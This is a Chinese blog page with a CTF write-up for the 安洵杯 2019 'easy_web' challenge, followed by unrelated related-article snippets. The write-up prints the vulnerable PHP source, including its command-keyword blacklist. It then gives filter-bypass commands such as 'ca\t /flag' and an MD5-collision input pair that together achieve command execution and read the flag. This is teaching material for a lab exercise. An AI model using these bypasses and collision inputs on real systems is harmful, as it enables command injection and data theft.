当前位置： 首页 > news >正文

[安洵杯 2019]easy_web

news 2026/5/24 16:54:43

 打开环境

 img传参还有cmd

img应该是base，先解码看看

 3535352e706e67

这个好像是十六进制的，再解

 访问一下看看，得到一张图片

 尝试base解码，但是没有什么发现

再看看地址栏出现index.php,应该是要下载源码，但是还没有具体的思路，看看提示

将index.php按照刚刚的思路进行一遍，得到

TmprMlpUWTBOalUzT0RKbE56QTJPRGN3

 看来又是解码

<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd'])) header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {echo '<img src ="./ctf3.jpeg">';die("xixi～ no flag");
} else {$txt = base64_encode(file_get_contents($file));echo "<img src='data:image/gif;base64," . $txt . "'></img>";echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {echo("forbid ~");echo "<br>";
} else {if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {echo `$cmd`;} else {echo ("md5 is funny ~");}
}?>
<html>
<style>body{background:url(./bj.png)  no-repeat center center;background-size:cover;background-attachment:fixed;background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>

看到了三个等号，强比较，MD5绕过，过滤了cat，应该是进行命令执行

试了一下数组发现不行，因为这里使用了String强转换，数组都被强制转换

cmd传参处传入dir

ca\t%20/f\l\a\g

ca\t%20/flag

sort /flag

\t会被当成tab而跳过过滤，

a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

 

 

 

相关文章：

[安洵杯 2019]easy_web

打开环境 img传参还有cmd img应该是base&#xff0c;先解码看看 3535352e706e67 这个好像是十六进制的&#xff0c;再解 访问一下看看&#xff0c;得到一张图片 尝试base解码&#xff0c;但是没有什么发现 再看看地址栏出现index.php,应该是要下载源码&#xff0c;但是还没有…...

编程日记 2023/11/30 22:24:47

CentOS7 安装配置SFTP服务器详解

1、SFTP简介 SSH文件传输协议（英语：SSH File Transfer Protocol，也称Secret File Transfer Protocol，中文：安全文件传送协议，英文：Secure FTP或字母缩写：SFTP）是一种数据流连接，提供文件访问、传输和管理功能的...

编程日记 2023/11/30 22:23:46

【Linux】Shell命令以及运行原理

目录 一、Linux是什么 二、Shell 三、为什么要有Shell 四、Shell的工作原理 一、Linux是什么 狭义上的Linux是指Linux内核本身&#xff0c;它是操作系统的核心部分&#xff0c;负责管理计算机的硬件资源&#xff08;如处理器、内存、设备等&#xff09;&#xff0c;提供基…...

编程日记 2023/11/30 22:22:45

vue-动态组件、keep-alive

vue-动态组件、keep-alive 如果我们想写一个tabbar导航栏&#xff0c;我能想到的两种方式 通过if条件判断的方式实现&#xff08;不赘述&#xff09;动态组件 接下来我们就看看动态组件如何创建&#xff0c;废话不多少直接上代码&#xff08;代码中有备注&#xff09; 首先…...

编程日记 2023/11/30 22:21:44

华为OD机试 - 执行任务赚积分（Java JS Python C）

题目描述 现有N个任务需要处理，同一时间只能处理一个任务，处理每个任务所需要的时间固定为1。 每个任务都有最晚处理时间限制和积分值，在最晚处理时间点之前处理完成任务才可获得对应的积分奖励。 可用于处理任务的时间有限，请问在有限的时间内，可获得的最多积分。 输入…...

编程日记 2023/11/30 22:20:43

如何用CHAT配置linux的远程连接？

问CHAT&#xff1a;配置linux的远程连接 1.下载ssh 2.启动ssh服务 3.查看ssh服务状态 4.设置ssh服务开机自启动 5.设置windows的cmd下ssh 6.通过cmd的ssh命令远程到linux linux的ip:10.8.9.23 用户名:Li CHAT回复&#xff1a;以下是为配置Linux的远程连接的步骤说明&#xff1a…...

编程日记 2023/11/30 22:19:42

Python (十六) 错误和异常

程序员的公众号&#xff1a;源1024&#xff0c;获取更多资料&#xff0c;无加密无套路&#xff01; 最近整理了一波电子书籍资料&#xff0c;包含《Effective Java中文版 第2版》《深入JAVA虚拟机》&#xff0c;《重构改善既有代码设计》&#xff0c;《MySQL高性能-第3版》&…...

编程日记 2023/11/30 22:16:39

Android进阶之路 - TextView文本渐变

那天做需求的时候&#xff0c;遇到一个小功能&#xff0c;建立在前人栽树&#xff0c;后人乘凉的情况下&#xff0c;仅用片刻就写完了&#xff1b;说来惭愧&#xff0c;我以前并未写过文本渐变的需求&#xff0c;脑中也仅有一个shape渐变带来的大概思路&#xff0c;回头来看想着…...

编程日记 2023/11/30 22:15:35

【复位与释放（亚稳态）模为60的BCD码计数器_2023.11.22】

复位与释放&#xff08;异步复位&#xff0c;同步释放&#xff09; 同步复位rst、同步置数load&#xff08;置数信号只有在时钟上升沿到来时才能生效&#xff09;、同步清零clr 同步复位&#xff1a; always(posedge clk) if(!rst_n) b<1’b0; else b<a; 同步复位信号rs…...

编程日记 2023/11/30 22:14:34

ABAP: JSON 报文解析——/ui2/cl_json

1、JSON数组 报文格式如下&#xff0c;是JSON 数组类型的。 [{"I_TYPE":"V","I_BUSINESSSCOPE":"1001"},{"I_TYPE":"V","I_BUSINESSSCOPE":"1002"} ] json转换为SAP内表&#xff1a; TYP…...

编程日记 2023/11/30 22:13:32

android NDK相关，调用C库，JNI,交叉编译，跨平台

首先就是库给我&#xff0c;我先进行开发&#xff08;按照文档&#xff09;&#xff0c;最后进行交叉编译ARM平台。 遇到的问题&#xff1a;我要看到代码效果&#xff0c;所以必须要在真机上跑代码&#xff0c;那么我调用的库就必须是我这个平台适用的&#xff0c;有两种方式&…...

编程日记 2023/11/30 22:12:31

汽车功能安全ISO26262

一、功能安全基本概念及功能安全管理 什么是功能安全 相关标准&#xff1a; 现状&#xff1a; 功能安全的目的和范围&#xff1a; 总体框架&#xff1a; 基本定义&#xff1a;...

编程日记 2023/11/30 22:10:28

Node.js+Express+Nodemon+Socket.IO构建Web实时通信

陈拓 2023/11/23-2023/11/27 1. 简介 Websocket WebSocket是一种在单个TCP连接上提供全双工通讯的协议。特别适合需要持续数据交换的服务&#xff0c;例如在线游戏、实时交易系统等。 Websocket与Ajax之间的区别 Ajax代表异步JavaScript和XML。它被用作一组Web开发技术&…...

编程日记 2023/11/30 22:09:27

广州华锐互动：AR可视化展示昆虫让教学过程更直观生动

随着科技的不断发展&#xff0c;AR&#xff08;增强现实&#xff09;技术已经逐渐走进我们的生活。通过AR技术&#xff0c;我们可以将虚拟的信息叠加到现实世界中&#xff0c;让现实世界变得更加丰富多彩。在这篇文章中&#xff0c;我们将以昆虫为主题&#xff0c;探讨AR增强现…...

编程日记 2023/11/30 22:08:26

.NET开源的处理分布式事务的解决方案

前言 在分布式系统中&#xff0c;由于各个系统服务之间的独立性和网络通信的不确定性&#xff0c;要确保跨系统的事务操作的最终一致性是一项重大的挑战。今天给大家推荐一个.NET开源的处理分布式事务的解决方案基于 .NET Standard 的 C# 库&#xff1a;CAP。 CAP项目介绍 CA…...

编程日记 2023/11/30 22:07:25

如何隐藏选择选项值并用新值替换2个选项？

要隐藏选择选项值并用新值替换2个选项&#xff0c;可以使用JavaScript来实现。 首先&#xff0c;使用JavaScript获取两个选项的值&#xff0c;然后将这两个值设置为新的值&#xff0c;最后将这两个选项的可见性设置为false&#xff0c;以隐藏它们。 例如&#xff1a; <se…...

编程日记 2023/11/30 22:06:24

[读论文][跑代码]BK-SDM: A Lightweight, Fast, and Cheap Version of Stable Diffusion

github: GitHub - Nota-NetsPresso/BK-SDM: A Compressed Stable Diffusion for Efficient Text-to-Image Generation [ICCV23 Demo] [ICML23 Workshop] ICML 2023 Workshop on ES-FoMo 简化方式 蒸馏方式&#xff08;训练Task蒸馏outKD-FeatKD&#xff09; 训练数据集 评测指标…...

编程日记 2023/11/30 22:05:23

机器学习的复习笔记1

机器学习是一种人工智能的分支&#xff0c;它通过让计算机从数据中学习规律和模式&#xff0c;从而实现对未知数据的预测和决策。根据不同的学习方法和任务&#xff0c;机器学习可以分为以下几种类型&#xff1a; 监督学习&#xff1a;在监督学习中&#xff0c;计算机会被提供一…...

编程日记 2023/11/30 22:02:21

【Spring Boot】如何集成Swagger

Swagger简单介绍 Swagger是一个规范和完整的框架&#xff0c;用于生成、描述、调用和可视化RESTful风格的Web服务。功能主要包含以下几点&#xff1a; 可以使前后端分离开发更加方便&#xff0c;有利于团队协作接口文档可以在线自动生成&#xff0c;有利于降低后端开发人员编写…...

编程日记 2023/11/30 21:59:17

优化-查询数据接口太慢

有一个查询接口&#xff0c;主业务表有几万多条数据&#xff0c;没超过十万&#xff0c;由于没有使用分页&#xff0c;所以每次查询都要返回大几万的数据&#xff0c;然后问题是前端页面查询数据显示数据要转很久。 压缩响应体大小 我发现查询的时间是1秒多&#xff0c;但是浏…...

编程日记 2023/11/30 21:56:14

OpenAI破解80年数学猜想：AI首次完成原创性科学突破

2026年5月21日，一个普通的工作日，数学界却迎来了一场地震。OpenAI的内部通用推理模型，独立证明了离散几何领域一个悬置近80年的核心猜想——而且不是证明了它成立，而是直接推翻了它。 目录 引言：一个简单到小学生都能理解的问题 Erdős单位距离猜想：80年的数学悬案 AI突破…...

编程新知 2026/5/24 16:49:08

现在不看就晚了！DeepSeek即将下线v2.8审计API——迁移至Unified Audit Framework的6小时平滑切换checklist

更多请点击&#xff1a; https://kaifayun.com 第一章&#xff1a;DeepSeek审计日志功能演进与v2.8 API下线背景 DeepSeek平台自v2.0起引入基础审计日志能力&#xff0c;聚焦用户登录、模型调用等关键事件的记录&#xff1b;至v2.5版本&#xff0c;日志结构升级为JSON Schema标…...

编程新知 2026/5/24 16:27:52

2026年5款AI绘画工具对比实测，批量做短视频时AI绘画怎么选

短视频团队每天要出10条不同风格封面&#xff0c;AI绘画却总在细节上翻车 某MCN机构运营负责人最近反馈&#xff1a;用AI生成短视频封面时&#xff0c;同一角色在不同提示词下表情错乱、服装不连贯&#xff1b;导出PNG后需手动修图再进剪辑软件&#xff0c;反而拖慢了日更节奏。…...

编程新知 2026/5/24 15:24:54

体验Taotoken聚合端点带来的高稳定性与低延迟模型调用

&#x1f680; 告别海外账号与网络限制&#xff01;稳定直连全球优质大模型&#xff0c;限时半价接入中。 &#x1f449; 点击领取海量免费额度 体验Taotoken聚合端点带来的高稳定性与低延迟模型调用 作为一名需要频繁调用大模型API的开发者&#xff0c;我曾管理着多个项目&am…...

编程新知 2026/5/24 15:14:21

如何免费绕过iOS激活锁：Applera1n完整解决方案指南

如何免费绕过iOS激活锁&#xff1a;Applera1n完整解决方案指南 【免费下载链接】applera1n icloud bypass for ios 15-16 项目地址: https://gitcode.com/gh_mirrors/ap/applera1n 你是否曾因忘记Apple ID密码而面对无法使用的iPhone束手无策&#xff1f;或者购买的二手…...

编程新知 2026/5/24 13:30:15

Sobolev学习代理加速优化：激活函数与径向基函数选择鲁棒性分析

1. 项目概述与核心思路在工程优化和科学计算领域&#xff0c;我们常常会遇到一个令人头疼的问题&#xff1a;目标函数的每一次评估都极其昂贵。比如&#xff0c;一次评估可能意味着运行一次耗时数小时的流体力学仿真&#xff0c;或者调用一次复杂的有限元分析。传统的无导数优化…...

编程新知 2026/5/24 13:24:10

告别环境配置焦虑：用 Bochs 2.6.10 在 Ubuntu 上快速搭建你的第一个‘自制操作系统’实验台

从零构建操作系统实验环境&#xff1a;Bochs 2.6.10在Ubuntu下的实战指南当我在大学第一次尝试编写引导扇区代码时&#xff0c;花了整整三天时间才让屏幕上显示出"Hello World"。这段经历让我深刻意识到&#xff1a;环境配置的复杂度往往比算法本身更令人崩溃。本文将…...

编程新知 2026/5/24 11:07:26

ThinkPHP 5.x远程代码执行漏洞原理与实战防御

1. 这个漏洞不是“理论存在”&#xff0c;而是真实打穿过生产环境的链路ThinkPHP 5.x远程代码执行漏洞&#xff08;CVE-2018-1002015&#xff09;——这个名字在2018年中后期的Web安全圈里&#xff0c;几乎等同于“默认可打穿”。它不像某些需要苛刻前置条件的逻辑漏洞&#xf…...

编程新知 2026/5/24 10:26:33

机器学习模型评估避坑指南：过调优与数据泄露的识别与防范

1. 项目概述与核心问题界定在机器学习项目的落地过程中&#xff0c;超参数调优几乎是每个从业者都会经历的环节。我们花费大量时间&#xff0c;尝试各种搜索策略——从网格搜索到贝叶斯优化&#xff0c;目标很明确&#xff1a;让模型在验证集上的指标再好看那么一点点。然而&am…...

编程新知 2026/5/24 10:21:57

AzurLaneAutoScript：碧蓝航线全自动脚本终极指南，解放双手的智能游戏管家

AzurLaneAutoScript&#xff1a;碧蓝航线全自动脚本终极指南&#xff0c;解放双手的智能游戏管家 【免费下载链接】AzurLaneAutoScript Azur Lane bot (CN/EN/JP/TW) 碧蓝航线脚本 | 无缝委托科研&#xff0c;全自动大世界 项目地址: https://gitcode.com/gh_mirrors/az/Azur…...

编程新知 2026/5/24 10:08:42